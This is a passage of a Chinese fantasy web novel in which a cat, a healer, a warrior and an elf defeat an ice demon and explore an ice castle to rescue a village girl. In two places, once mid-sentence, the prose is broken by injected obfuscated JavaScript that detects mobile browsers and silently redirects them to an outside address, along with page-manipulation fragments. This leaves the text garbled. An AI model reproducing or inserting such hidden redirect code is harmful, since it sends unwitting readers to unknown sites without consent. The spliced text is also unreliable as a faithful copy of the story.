小孩接过青稞饼,抽噎着咬了口,热气从嘴角冒出来,眼睛却往桥那边望,看罗文和方绪白的身影。奎兰抬头看时,罗文正用斗篷裹着方绪白往回走,猫的尾巴尖露在外面,还沾着片没化的雪,却没再抖了,像揣在怀里的小暖炉,把罗文的斗篷都烘得暖了些。 冰魔倒在桥板上,胸口的冰晶彻底碎了,化的水顺着桥缝往下滴,倒像在给冻僵的桥板松绑,连桥边的雪都化了些,露出青黑的泥土,还带着点湿意,像被雪水浸过的青稞地。 “下次再这么怕冷还往前冲,”罗文捏了捏方绪白的耳朵,指尖蹭着它耳尖的绒毛,软乎乎的,“就把你塞西拉斯的背包里——他那背包漏风,上次装奶渣饼都冻硬了,冻着你正好,省得你总往我怀里钻,把我斗篷都蹭上猫毛了。” 西拉斯在旁边听了骂:“凭啥塞我这儿?猫大人怕冷,我还怕它掉毛粘我干粮上呢!上次的奶渣饼渣,到现在还沾着猫毛,吃着都扎嘴!”他说着往方绪白那边瞪了一眼,却见猫根本没理他,往罗文怀里又拱了拱,把脸埋进暖烘烘的斗篷里,鼻尖蹭着罗文的颈侧,尾巴尖轻轻扫了扫他的手腕,像在撒娇,又像在说“我才不去,你那背包没暖气,还不如阿婆的灶边暖和”。 雪还在下,雪粒子打在斗篷上,声音软乎乎的,像阿婆捻羊毛线时线团滚过毡毯的轻响。 可怀里的猫不抖了,罗文的步子也慢了些,倒像怕走快了,惊散了这点难得的暖。西拉斯扛着斧头走在前面,嘴里还在嘟囔着“阿婆肯定烤了奶渣饼,回去得吃两块暖身子,再喝碗热酥油茶”,时不时往雪地里踹两脚,把雪踢得乱飞,惊得枝头的雪簌簌往下掉;奎兰牵着小孩,时不时帮他拂掉肩上的雪,还把小孩掉在地上的奶渣饼捡起来,拍掉上面的雪,放进自己的口袋里,说“回去让阿婆烤热了再吃,别浪费了”;罗文裹着方绪白走在后面,猫的呼吸暖乎乎的,吹在他的颈侧,连带着这寒天冻地,都多了点灶房里奶渣饼的甜香,像走在往阿婆家里去的路上,心里踏实得很,连风都似的软了些。 风里忽然掺了缕酥油茶的暖香,混着烤青稞的焦甜,像阿婆掀开灶房毡帘时飘出的气,一下子把雪地里的冷意烘软了半截。西拉斯鼻子尖,抽了抽冻得发红的鼻头,斧头往肩上一扛就往村里窜:“是阿婆的酥油茶!快些走,晚了奶渣饼该被次仁家的小子抢光了!” 方绪白从罗文怀里探出头,琥珀色眼睛亮得像映了灶火,尾巴尖晃了晃,沾着的雪粒簌簌掉。罗文笑着捏了捏它冻得发僵的耳朵:“闻着香味就精神了?刚才是谁缩在怀里抖得像片青稞叶?”话没说完,就见村口矮屋的毡帘“哗啦”掀开,阿婆系着枣红色围裙,手里端着个铜壶,壶嘴冒着白汽:“可算回来了!雪下这么大,我在灶上温了三回酥油茶,就怕你们冻着!” 她看见奎兰牵着的小孩,赶紧迎上来,粗糙的手掌摸了摸小孩冻得通红的脸,又把铜壶往他手里塞:“快捧着暖手,灶上还炖着牦牛奶粥,加了青稞粒,甜得很。”小孩捧着铜壶,指尖沾了暖意,抽噎着喊了声“阿婆”,眼泪又要掉,却被阿婆用围裙角擦了去:“不哭了,冰魔除了,以后过桥不用怕,阿婆再给你烤奶渣饼,烤得焦焦的,你最爱的那种。” 几人跟着阿婆进了屋,土灶里的火正旺,铁锅里的牦牛奶粥“咕嘟”冒泡,飘出的香裹着暖意,把身上的寒气都逼退了。次仁坐在炉边打铁,铁砧上的铁块泛着红光,他抬头看见罗文怀里的方绪白,放下锤子笑:“猫大人也回来了?快过来烤烤火,我刚给铁钳烘了暖,你爪子冻坏了可抓不住奶渣饼。” 方绪白从罗文怀里跳下来,踩着暖烘烘的土炕往炉边凑,爪子搭在次仁递来的铁钳上,舒服得喉咙里呼噜呼噜响。小孩坐在炕边,捧着阿婆舀的牦牛奶粥,小口小口地喝着,眼睛却黏在方绪白身上,忽然从口袋里摸出块皱巴巴的奶渣饼——是刚才掉在雪地里被奎兰捡回来的,还带着点雪的凉,却舍不得吃,递到猫嘴边:“猫大人,你吃,阿婆烤的,甜。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290280|182655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方绪白低头闻了闻,用鼻子把饼推回小孩手里,又往他脚边蹭了蹭,像在说“你吃,我有阿婆烤的新饼”。阿婆正好端着盘刚烤好的奶渣饼进来,金黄的饼面上沾着芝麻,焦边泛着油光:“都有都有,刚出炉的,还烫嘴呢。”说着就给每人递了块,连方绪白都有块小的,放在瓷碟里,冒着热气。 西拉斯咬了口饼,脆得“咔嚓”响,饼渣掉在衣襟上也不顾:“阿婆,您这饼比上次还香!对了,我们把冰魔的冰晶劈碎了,那冰桥的冰化了些,下次您过桥去后山采雪莲花,再也不用绕远路了。”阿婆笑着拍了下他的背,又往他碗里舀了勺牦牛奶粥:“就你能耐!次仁说要给你那铁盾加层牦牛皮,防着下次冻裂,刚在炉边烘着呢。” 奎兰坐在炕角,小口吃着饼,浅金发上的雪化了,水珠顺着发梢滴在衣襟上,却浑然不觉。他忽然想起什么,从怀里摸出个布包,里面是刚才从桥边捡的冰晶碎渣,放在炉边烘了烘,竟泛着淡淡的光:“阿婆,这冰晶碎……能不能种在院子里?说不定能长出像雪莲花似的花,给小鸡挡雪。”阿婆凑过来看了看,笑着点头:“能种!明天咱们就种在院角,浇点牦牛奶,说不定真能发芽。” 罗文靠在灶边,喝着酥油茶,看着屋里的热闹——西拉斯正跟次仁比划着打冰魔的事,手舞足蹈的,连饼渣都喷了出来;阿婆在灶边翻着奶渣饼,时不时往炉里添块干牛粪;小孩捧着粥碗,跟方绪白分享饼渣;奎兰蹲在炉边,小心翼翼地给冰晶碎渣包上软布,像护着件宝贝。 雪还在屋外下着,打在毡帘上沙沙响,像阿婆捻羊毛线的轻音。方绪白蹲在罗文脚边,啃着奶渣饼,尾巴绕着他的裤腿,琥珀色眼睛里映着灶火的光,暖得像两簇小火焰。罗文低头摸了摸它的头,指尖的治愈光轻轻漫开,把它爪尖残留的冰意彻底化了去。 “下次再遇着魔物,”西拉斯突然开口,嘴里还塞着饼,“我还跟薇薇安一起去!不过下次得让薇薇安多带块奶渣饼,省得它冻得没力气拍我剑鞘。”方绪白抬头看了看他,把没啃完的饼往他脚边推了推,像在应和,又像在嫌弃他吃得多。 阿婆笑着端来新温的酥油茶,铜壶碰在瓷碗上“叮当”响:“你们呀,就知道惹事,不过有猫大人在,我们雪山村就踏实。快喝茶,粥要凉了,喝碗暖身子,明天雪停了,咱们去冰桥边种冰晶,再给桥桩裹层牦牛皮,来年春天,桥边就能长出青草了。” 屋外的雪还在下,可屋里的暖,却像土灶里的火,像阿婆手里的酥油茶,像碗里甜糯的牦牛奶粥,把每个人的心都烘得软软的。方绪白舔了舔爪子上的饼渣,往罗文怀里缩了缩,听着屋里的笑声、粥的“咕嘟”声、打铁的“叮当”声,尾巴轻轻晃着,像在跟着这暖融融的节奏,慢慢打着拍子。 次仁突然放下锤子,从炉边摸出块烤得焦香的牦牛肉干,往方绪白面前递:“猫大人,尝尝这个,我用松枝熏的,比奶渣饼耐嚼。”方绪白凑过去闻了闻,叼起肉干蹭了蹭次仁的手背,尾巴尖扫过他沾着铁屑的围裙,像在道谢。次仁笑得露出两排白牙:“这猫通人性,上次我打铁把手烫伤,还是它叼着阿婆的草药来的。” 阿婆端着奶渣饼走过来,闻言笑着点头:“可不是嘛,去年雪灾,方绪白还领着村民找过埋在雪下的青稞囤,要不咱们冬天都得饿肚子。”她说着往罗文碗里添了勺牦牛奶粥,粥里的青稞粒煮得软烂,混着奶香:“你们这次除了冰魔,可算帮了雪山村大忙,开春我让次仁给你们每人打把新刀,用后山的精铁,锋利得很。” 小孩捧着粥碗,忽然想起什么,拉了拉奎兰的衣角:“奎兰哥哥,你说冰晶能种出花,那我能天天去浇水吗?我用阿婆的牦牛奶浇,说不定能长得比雪莲花还好看。”奎兰摸了摸他的头,浅金发上的水珠滴在小孩的氆氇小袄上:“能啊,咱们明天一起去种,等花开了,就给它起个名字,叫‘冰晶花’好不好?”小孩用力点头,眼睛亮得像星星。 西拉斯啃完奶渣饼,抹了把嘴,凑到次仁身边:“次仁,你给我铁盾加牦牛皮的时候,记得多缝两层,下次再遇着魔物,我好护着猫大人和奎兰。”次仁笑着拍了拍他的肩:“放心,我给你缝三层,再镶块魔晶碎,保准比冰魔的壳还结实。” 罗文喝着酥油茶,看着屋里的光景,忽然觉得这雪山村的暖,比圣光还让人踏实。方绪白叼着肉干,跳上他的膝头,把肉干放在他手心,又往他怀里缩了缩,琥珀色眼睛半眯着,像晒着太阳的猫。罗文摸了摸它的背,指尖的治愈光轻轻漫开,把它身上的寒气彻底化去。 雪渐渐小了,屋外的月光透过毡帘的缝隙照进来,落在土炕上,像撒了层碎银。阿婆往灶里添了块干牛粪,火更旺了,映得每个人的脸都暖融融的。次仁又拿起锤子,铁砧上的铁块“叮当”作响,和着粥的“咕嘟”声、阿婆的笑声,像首暖乎乎的歌。 方绪白打了个哈欠,把脸埋进罗文的斗篷里,斗篷上的圣光混着酥油茶的香,让它渐渐眯起了眼睛。西拉斯还在跟次仁比划着打冰魔的事,奎兰和小孩在讨论明天种冰晶的细节,阿婆坐在灶边,轻轻哼着雪山村的老调子。 屋外的雪停了,风也软了,只有月光静静地洒在雪山村的屋顶上,像给村子盖了层白绒毯。屋里的暖,却像阿婆的酥油茶,像次仁的打铁声,像方绪白暖乎乎的呼吸,把这个冬夜烘得格外甜,格外踏实。 17. 探冰堡 冰锥擦着奎兰胳膊过去时,带起的寒气像刚从冰湖里捞出来的铁,刺得人胳膊发麻。 血顺着他浅金发般的袖口往下淌,滴在雪地上洇开小团红,像寒冬里偶然开在石缝里的山丹丹花,艳得扎眼。 他却没往后躲——指尖凝着的冰魔法正往冰魔脚边涌,白花花的冰碴子“咔嗒咔嗒”冻成半人高的墙,棱棱角角的,连冰魔青灰色的爪子都粘在冰面上,半寸都动不了,只能发出沉闷的嘶吼。 “我、我冻住它动作了。”奎兰的声音发颤,尾音还带着点没压下去的喘。 大概是冰魔法耗了太多力气。他的脸却红得厉害,眼尾都泛着点粉,像阿婆灶上刚烘好的苹果,热乎又透着点怯生生的亮,“你们……快打!”话刚落,他悄悄往旁边挪了半步——方绪白正蹲在雪地上甩尾巴上的冰粒,棕黄白的猫毛沾着雪,像撒了把碎奶渣,猫爪踩在雪地里陷出小坑,肉垫冻得粉粉的,看着就冷。他挪过去半分,后背正好能替猫挡掉冰墙碎落的碴子,连呼吸都放轻了,生怕惊着这团小绒球。 冰魔猛地撞破冰墙,震得地面都颤了颤,冰碴子像碎玻璃似的往四周飞。 奎兰下意识往前站了站,后背结结实实挡在方绪白面前,冰碴子砸在他的氆氇小袄上,“簌簌”掉了一地,疼得他闷哼了声,却没敢动——怕一挪步,碎冰就溅到猫身上,那小肉垫要是冻着了,该多疼。 罗文的剑劈过来时带起金芒,像太阳照在雪山上的光,他骂了句“别硬扛”,步子却绕到了奎兰身后,像替他筑起道暖墙——圣光在他掌心泛着暖光,擦过奎兰流血的胳膊时,绿莹莹的治愈咒缠上去,像裹了层刚从炕头拿下来的羊毛,暖得奎兰胳膊一麻,血瞬间就止了,连伤口的疼都轻了半截。 “护好自己。”罗文的声音压得低,带着点没消的急,剑刃却没停,又往冰魔胸口刺了刺,金芒扎得冰魔嘶吼出声,胸口的冰晶都晃了晃。 奎兰没说话,指尖的冰魔法却更急了,冰棱子从冰魔脚边往上窜,像后山疯长的冰草,缠得它连脖子都动不了,连胸口忽明忽暗的冰晶都顿了顿,没了之前的光亮。 方绪白突然从奎兰腿边钻过去,猫爪拍在冰魔没被冻住的后颈,肉垫上的雪粒蹭在冰魔冷硬的皮肤上,瞬间就化了。 他琥珀色的瞳孔亮得像映了圣光,像是在给罗文递信号——罗文的剑紧跟着就到,“咔嚓”一声劈碎了那枚时冷时热的冰晶,碎渣子落在雪地上,像撒了把小钻石,闪了闪就化了。 村民递来绒草球时,方绪白几乎是扑过去的。那草球圆滚滚的,裹着雪山特有的绒草,摸上去软乎乎的,还带着点晒过太阳的暖,像阿婆缝的小棉团。猫爪抱着草球在雪地里打了个滚,雪沫子沾得满身都是,原本棕黄白的毛滚得白花花,倒像团刚从雪堆里扒出来的绒球,连尾巴尖都沾着草屑。 奎兰蹲下来替它掸雪,指尖碰着猫毛时凉丝丝的,方绪白却突然用头顶了顶他的手腕——方才挡冰碴时,他手腕蹭破了点皮,虽被罗文的治愈咒止了血,却还带着点红。猫头顶得轻,一下下的,像在哄人,又像在检查伤口好没好,暖得奎兰指尖都热了。 “揣好。”罗文把猫捞进披风里时,方绪白还抱着绒草球不肯松爪,爪子把草球搂得紧紧的,生怕被西拉斯抢了去。 暖烘烘的绒布裹着,连带着草球都沾了点圣光的暖意,猫终于肯松口,把草球往罗文怀里推了推,像在说“你也暖一暖”,自己蜷成团蹭了蹭他的胸口,耳朵还时不时动一动,听着西拉斯的大嗓门。 西拉斯举着盾凑过来晃了晃,盾心新镶的魔晶在雪光里亮得晃眼,他粗声粗气地喊:“看这盾!次仁刚给镶的魔晶,硬得很!等会儿进城堡,我开路!保准让冰碴子碰不着你们一根头发,连猫大人的毛都碰不到!” 奎兰捏着村民给的密道图,指尖划过图上的岔路时顿了顿。那图纸是用糙纸画的,还带着点酥油茶的香,岔路口用炭笔标着小记号,大概是村民怕他们走丢。 罗文低头看他:“不认路?”精灵摇摇头,蓝眼睛往披风里瞥了瞥——方绪白正把脸埋在绒草球上打哈欠,尾巴尖露在外面轻轻晃,连胡子都跟着动了动,像快睡着的样子,小鼻子还时不时抽一下,大概是闻着草球的香。 “认、认得。”他小声说,把图往罗文手里递了递,指尖还不小心碰了碰罗文的手,那点暖让他赶紧缩了回去,耳朵都红了,“往、往这边走最近,还能避开冰窖,不冷,猫大人也不会冻着。” 风还往披风里钻,带着点雪山的凉,像刚掀开冰窖的门。 可怀里的猫暖烘烘的,连带着罗文捏着密道图的手指都带了点热意。 西拉斯还在念叨他的盾多结实,说等进了城堡要第一个劈开门,还要给方绪白抓只暖乎乎的雪鼠玩。 奎兰跟在后面踩他的脚印——西拉斯的脚印大,像个小坑,奎兰的脚小,踩在里面正好挡住风,雪地里的脚印一串跟着一串,倒比来时热闹了不少。 方绪白在披风里蹭了蹭,把绒草球往更暖的地方挪了挪,爪子还轻轻拍了拍草球,像在跟它说悄悄话——KPI进度又往前赶了截,还得了这么软的草球,身边还有罗文的暖、奎兰的护着,这雪山的冷,好像也没那么难熬了。 密道入口藏在老柏树下,被半米厚的雪埋着,西拉斯挥着铁斧刨了半天,才露出块青石板,石板上冻着层薄冰,敲上去“当当”响。“这门得用劲推!”他撸起袖子,往掌心哈了口热气,刚碰到石板就“嘶”地缩手——冰太凉,竟粘了点皮,“好家伙,比冰魔的壳还冻手!” 罗文把方绪白往披风里紧了紧,腾出一只手按在石板上,圣光顺着指尖漫开,冰“滋啦”化了片水痕。“一起推。”他喊了声,西拉斯立刻凑过来,两人一使劲,青石板“轰隆”移开,露出个黑黢黢的洞口,风从里面钻出来,带着点土腥气,却比外面暖些。 奎兰捏着密道图,从怀里摸出支松明,火折子一吹,暖黄的光映亮了洞口的石阶。“往、往下走三十步,有个岔路,左、左边通冰堡侧门。”他说着先迈了步,脚刚踏上石阶,又回头看了眼方绪白,“猫大人,你、你抓好罗文的披风,别摔着。” 方绪白像是听懂了,爪子勾住绒布披风的边角,把绒草球往怀里又搂了搂,琥珀色眼睛在松明的光里亮闪闪的。 罗文跟在奎兰身后,披风下摆扫过石阶,带起些细土,西拉斯举着盾走在最后,铁盾“哐当”撞在石壁上,吓得方绪白往罗文怀里缩了缩。 “你轻点!”罗文回头瞪了他一眼,西拉斯嘿嘿笑了两声,把盾放轻了些:“这不是怕有魔物窜出来嘛,我这盾可是次仁镶的魔晶,正好试试手。”话没说完,奎兰突然停住脚,松明的光晃了晃,照见前方岔路口的石壁上,竟冻着些冰晶,像挂着串小冰灯。 “是、是冰窖的寒气渗过来了。”奎兰指尖凝起点冰魔法,轻轻碰了下冰晶,“还好不厚,走、走左边就避开了。”他刚要迈步,方绪白突然从罗文怀里探出头,往右边岔路叫了两声,尾巴尖指向黑暗里,像是发现了什么。 罗文蹲下来,松明凑近右边洞口,隐约看见里面堆着些干草,还飘来缕淡淡的甜香。“是什么?”西拉斯凑过来,盾尖往前探了探,“莫不是藏着雪鼠?我正好抓来给猫大人当零食!” 奎兰却突然“呀”了声,松明的光照在干草堆旁——那里竟摆着个陶碗,碗里还剩小半块奶渣饼,饼边沾着点绒草,和村民给方绪白的草球是同一种。 “是、是村里小孩藏的吧?怕被雪埋了,藏在密道里。”他蹲下来,小心翼翼把陶碗捧起来,碗底还带着点余温,“还、还没凉透,说不定刚藏没多久。” 方绪白从罗文怀里跳下来,凑到陶碗边闻了闻,又回头看了看奎兰,尾巴尖扫了扫他的手背。 奎兰愣了愣,突然明白过来:“你、你是说,把饼带上?给、给村里的小孩留着?”猫“喵”了声,用头蹭了蹭他的手,像是点头。 罗文笑着把猫抱起来:“倒是心细。”他从怀里摸出块布,把陶碗裹好递给奎兰,“先带上,等回来给小孩送去。”奎兰赶紧把碗揣进怀里,胸口贴着陶碗的暖,连指尖都不抖了。 西拉斯早已按捺不住,举着盾往左边岔路走:“快走吧!再磨蹭,冰堡里的魔物都该睡饱了!”他刚走两步,突然“哎哟”一声,脚踢到个东西,低头一看,是颗冻硬的青稞粒,“这密道里还藏着粮食,村民倒是会过日子。” 几人顺着石阶往下走,松明的光在石壁上晃出晃动的影子,方绪白窝在罗文怀里,绒草球放在腿边,时不时用爪子拍两下,像在护着宝贝。 奎兰走在最前面,手里的密道图被风吹得晃了晃,他赶紧用手按住,指尖划过图上的记号,小声念叨:“快、快到侧门了,再走五十步……” 风里的土腥气渐渐淡了,反而飘来缕冰寒,罗文握紧了剑,圣光在剑刃上泛着微光:“快到了,西拉斯,准备开路。”西拉斯把盾举在身前,魔晶在松明的光里亮了亮:“放心!有我在,保准让薇薇安和奎兰安安全全进去!” 方绪白突然抬起头,琥珀色眼睛盯着前方的黑暗,尾巴尖绷得直直的。 罗文心里一紧,刚要说话,就听见前方传来“咔嗒”声,像是冰裂的响——冰堡的侧门,就在前面了。 松明的光往前探了探,终于照见侧门的轮廓——那是道冰铸的门,青黑色的冰面泛着冷光,门楣上冻着些尖棱棱的冰刺,像冰魔生前的爪子。 西拉斯举着盾凑过去,铁盾刚碰到冰门,就“滋啦”粘了层白霜,他赶紧往后缩手:“好家伙,比外面的冰桥还冻!” 罗文把方绪白往披风里塞了塞,指尖凝着圣光往冰门上按,绿莹莹的暖光撞在冰面上,冰“咔嗒咔嗒”裂出细纹,化的水顺着门缝往下淌,滴在石阶上又冻成小冰珠。“奎兰,用你的冰魔法帮我稳住裂缝。”他喊了声,奎兰立刻点头,指尖的冰魔法像层薄纱,轻轻覆在冰门上,刚裂开的细纹竟慢慢凝住,不再往两边扩。 “这样……这样能让圣光集中融门,不、不会把冰门震碎伤人。”奎兰的声音发颤,却攥紧了手中的松明,“你、你使劲,我撑着。”罗文应了声,掌心的圣光更盛,冰门中央渐渐融出个圆洞,暖光从洞里透进去,照见里面的冰砖地面,竟冻着些细碎的冰晶,像撒了把碎玻璃。 西拉斯早已按捺不住,盾尖往圆洞里探了探,没见有魔物窜出来,便回头喊:“我先钻进去探探路!”他弯腰往洞里缩,铁盾“哐当”撞了下冰门,震得顶上的冰刺掉了两根,方绪白在罗文怀里抖了抖,爪子紧紧勾住绒草球。 “小心点!”罗文刚说完,就听见西拉斯在里面喊:“没事!就、就是有点冷,地上的冰滑得很,你们进来时慢点!”罗文这才抱着方绪白,跟着奎兰往洞里钻,刚跨过冰门,就觉得寒气裹了上来,比密道里冷了半截,方绪白往他怀里又缩了缩,尾巴尖缠上他的手腕。 奎兰举着松明四处照,冰堡的侧厅空荡荡的,墙壁上冻着些冰棱,像挂着串倒垂的冰锥,地面的冰砖滑得很,他走两步就晃一下,赶紧伸手抓住罗文的披风。“这、这里好像是冰魔的储藏室,你、你看那边。”他指着角落,松明的光里,竟堆着些村民的东西——有半袋青稞,还有件小孩的氆氇小袄,衣角冻着层冰。 方绪白突然从罗文怀里跳下来,猫爪在冰面上打滑,却直往那堆东西跑,用爪子扒开青稞袋,露出下面藏着的个小木盒。罗文走过去,打开木盒,里面竟放着块小小的平安符,上面绣着雪山的图案,针脚歪歪扭扭的,像是小孩绣的。 “是、是村里艾丽娅家小丫头的!”奎兰突然认出来,“上次冰桥边,她、她袄子上就挂着这个,后来掉了……原来被冰魔拖到这儿来了。”方绪白用头蹭了蹭木盒,又回头看罗文,像是在说“带上,还给小丫头”。 罗文把平安符揣进怀里,刚要抱起方绪白,就听见西拉斯在前面喊:“快过来!这边有个大冰窖,里面好像有动静!”几人赶紧往侧厅深处走,转过冰柱,就看见道更大的冰门,门缝里往外冒着凉气,还传来“咔嗒咔嗒”的声响,像有东西在里面撞冰。 西拉斯举着盾往前凑,魔晶在冰门旁亮了亮,冰面上竟映出个模糊的影子——是只雪狐,被困在冰窖里,正用爪子拍冰门。“是、是后山的雪狐!”奎兰惊喜地喊,“它、它肯定是被冰魔抓来的,雪狐最通人性,说不定能帮我们找冰堡的核心!” 方绪白从罗文怀里探出头,往冰门叫了两声,里面的雪狐像是听见了,拍冰的声音更急了。罗文刚要融冰门,就见奎兰指尖凝着冰魔法,轻轻碰了碰冰门:“我、我来开,雪狐怕热,圣光融冰太烫,我用冰魔法慢慢开,不、不伤着它。” 冰魔法顺着冰门漫开,冰面渐渐变得透明,能清楚看见雪狐蜷缩在里面,爪子冻得通红。 奎兰小心翼翼地把冰门融出个口子,雪狐立刻钻了出来,抖了抖身上的冰碴,竟往方绪白身边凑,用头蹭了蹭它的毛,像是在道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290281|182655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢。 “看来咱们多了个向导。”罗文笑着摸了摸雪狐的头,雪狐却突然往冰堡深处跑,跑两步又回头叫两声,像是在带路。西拉斯举着盾跟上:“走!有雪狐带路,咱们赶紧找到冰堡核心,早点除了魔物,回去吃阿婆的奶渣饼!” 方绪白跳上罗文的肩头,把绒草球往他披风口袋里塞了塞,爪子勾住他的衣领,琥珀色眼睛在冰堡的冷光里亮闪闪的。 奎兰捏着密道图,跟着雪狐往前跑,松明的光晃过冰柱,照见前方的冰墙上,竟刻着些古老的花纹,像雪山村的图腾——冰堡的核心,一定就在前面了。 雪狐跑得轻,爪子踩在冰砖上几乎没声,只偶尔停下回头叫两声,像是怕他们跟不上。 松明的光扫过冰墙的图腾,那些刻痕里积着薄冰,映得花纹忽明忽暗,奎兰边跑边盯着图看,突然拽住罗文的披风:“这、这花纹我见过!阿婆的旧氆氇上有,是、是雪山的守护纹,说、说纹着这个的地方,藏着能镇住寒气的东西!” 方绪白在罗文肩头竖了耳朵,琥珀色眼睛盯着图腾,突然往冰墙凑了凑,爪子碰了碰刻痕里的冰,冰“咔嗒”掉了小块。 罗文立刻停住脚,圣光往图腾上探,冰化了片,露出下面深褐色的木痕——原来这冰墙竟是木芯裹着冰,图腾是早年村民刻的。 “难道冰堡是……”罗文刚开口,西拉斯突然“哎哟”一声,脚滑了个趔趄,盾撞在冰柱上,震得顶上的冰棱掉了串,“这冰砖太滑了!薇薇安你可得抓稳罗文,别摔下去!”方绪白回头瞪了他一眼,爪子勾得更紧了,尾巴尖还扫了扫罗文的耳朵,像在抱怨。 雪狐突然停在前方一道冰门前,对着门低吼两声,爪子扒着冰面,像是在示警。罗文握紧剑,圣光在剑刃上亮起来,冰门的缝隙里冒着凉气,比之前的冰窖还冷,方绪白往他颈侧缩了缩,连绒草球都忘了护。 “里面肯定有魔物!”西拉斯举着盾往前站了站,魔晶在冰门前亮得晃眼,“我先上!次仁镶的魔晶,正好试试硬不硬!”他刚要撞门,奎兰突然拉住他:“别、别硬撞!你看冰门上的纹,是、是冰魔的印记,撞开了说不定会引它过来!” 方绪白突然从罗文肩头跳下去,往冰门的角落跑,那里冻着块小小的冰晶,和之前冰魔胸口的很像,却更透亮。它用爪子拍了拍冰晶,冰晶竟亮了亮,冰门的缝隙里,寒气突然弱了些。 “是、是冰晶在吸寒气!”奎兰凑过去,指尖的冰魔法轻轻碰了下小冰晶,“这、这是冰魔的分身冰晶,藏在这儿镇着门,咱们把它取下来,门就开了!”罗文刚要伸手,方绪白突然用头把他的手顶开,自己叼着冰晶往回跑,放在奎兰手里——冰晶冻得人发麻,奎兰赶紧用布包起来,揣进怀里,胸口顿时凉了半截,却觉得周围的寒气真的淡了。 冰门“轰隆”一声自己开了,里面的暖光透出来,竟比外面还暖些。 松明的光往里照,只见里面是个小厅,中央摆着个石台,台上放着个铜壶,壶嘴冒着白汽,竟飘来缕酥油茶的香——和阿婆煮的一模一样。 “这、这是阿婆的铜壶!”奎兰惊喜地喊,“上次阿婆说壶丢了,原来是被冰魔拖到这儿来了!”他刚要跑过去,雪狐突然冲进去,对着石台后的阴影叫起来,阴影里慢慢走出个小小的身影,竟是艾丽娅家小丫头,怀里抱着块奶渣饼,冻得小脸通红,看见他们就哭了:“猫大人!罗文哥哥!我、我找平安符,被冰魔关在这儿了……” 方绪白立刻冲过去,用头蹭小丫头的腿,小丫头抱着它,眼泪掉在猫毛上,冰得方绪白抖了抖,却没躲开。罗文走过去,治愈咒的绿光裹住小丫头,她冻得发紫的指尖渐渐暖了:“别怕,我们来救你了,还有平安符,我们也找到了。”他从怀里摸出平安符,小丫头立刻接过去,紧紧攥在手里,眼泪掉得更凶了。 西拉斯举着盾四处看:“冰魔呢?怎么没见着?”话刚落,石台后的冰墙突然“咔嚓”裂了道缝,冰魔的嘶吼声传出来,青灰色的爪子从缝里伸出来,直往小丫头抓去。 “小心!”罗文把小丫头往奎兰身后推,剑劈过去,圣光撞在冰爪上,冰“滋啦”化了片水。冰魔撞破冰墙冲出来,胸口的冰晶比之前更大,泛着红光,竟比上次更凶了——原来它吸了冰堡的寒气,变强了。 奎兰立刻挡在小丫头身前,指尖的冰魔法往冰魔脚边涌,冰碴子冻成墙,却被冰魔一脚踹碎,冰碴子往奎兰飞过来,方绪白突然扑过去,用身体挡在他面前,冰碴子砸在猫毛上,疼得它闷哼了声。 “方绪白!”罗文急了,剑上的圣光更盛,劈向冰魔胸口的冰晶,西拉斯举着盾撞过去,魔晶撞在冰魔的腰上,冰魔嘶吼着往后退,撞在石台上,铜壶“哐当”掉在地上,酥油茶洒出来,落在冰面上,竟“滋啦”化了片冰。 奎兰突然灵机一动,抓起铜壶,把剩下的酥油茶往冰魔身上泼:“阿婆说过,热酥油茶能化冰!”酥油茶洒在冰魔身上,冰碴子“咔嗒”掉了片,冰魔疼得嘶吼,胸口的冰晶竟暗了些。 方绪白立刻往铜壶边跑,爪子沾了点热酥油茶,往冰魔的冰晶上拍,冰晶“滋啦”冒白汽,裂了道缝。罗文趁机冲过去,剑劈在冰晶上,“咔嚓”一声,冰晶碎了,冰魔倒在地上,渐渐化成了水,渗进冰砖的缝里,不见了。 小丫头抱着方绪白,摸了摸它背上的伤,眼泪又掉了:“猫大人,你疼不疼?我、我把奶渣饼给你吃,阿婆烤的,甜得很。”方绪白用头蹭了蹭她的手,把绒草球从罗文的披风口袋里叼出来,放在她手里,像在安慰。 西拉斯举着盾,看了看碎成渣的冰晶,又看了看铜壶,嘿嘿笑了:“还是阿婆的酥油茶厉害!下次再遇着魔物,我得多带两壶,比我的盾还管用!”奎兰蹲下来,把怀里的小冰晶放在石台上,冰晶亮了亮,冰堡的寒气渐渐散了,冰砖上的冰,竟慢慢化了些。 罗文抱起方绪白,用治愈咒的绿光裹着它,猫背上的伤渐渐好了,方绪白往罗文怀里缩了缩,把脸埋进绒布披风里,鼻尖蹭着他的颈侧,暖得人心里发颤。 雪狐凑过来,用头蹭了蹭小丫头的腿,像是在告别,然后往冰堡外跑,跑两步又回头叫了两声,像是在说“我送你们出去”。 小丫头牵着奎兰的手,怀里抱着绒草球,方绪白窝在罗文怀里,西拉斯扛着盾走在前面,几人跟着雪狐往冰堡外走。松明的光晃过冰墙的图腾,那些刻痕里的冰全化了,露出深褐色的木痕,像雪山村的暖,把这冰堡的冷,慢慢烘软了。 18. 麦芽 晨雾还没散透时,方绪白的琥珀色瞳孔已在密道深处亮起——社畜自带的危险感知像老旧警报器,总在暗处先一步扯动神经。 方绪白蹲在罗文的肩甲上,爪子无意识抠着对方棕发下的护肩,鼻端萦绕着潮湿石壁的霉味,还有奎兰斗篷上若有若无的精灵草药香,那香气清苦里掺着点甜,像写字楼茶水间里泡了半片薄荷的凉白开。 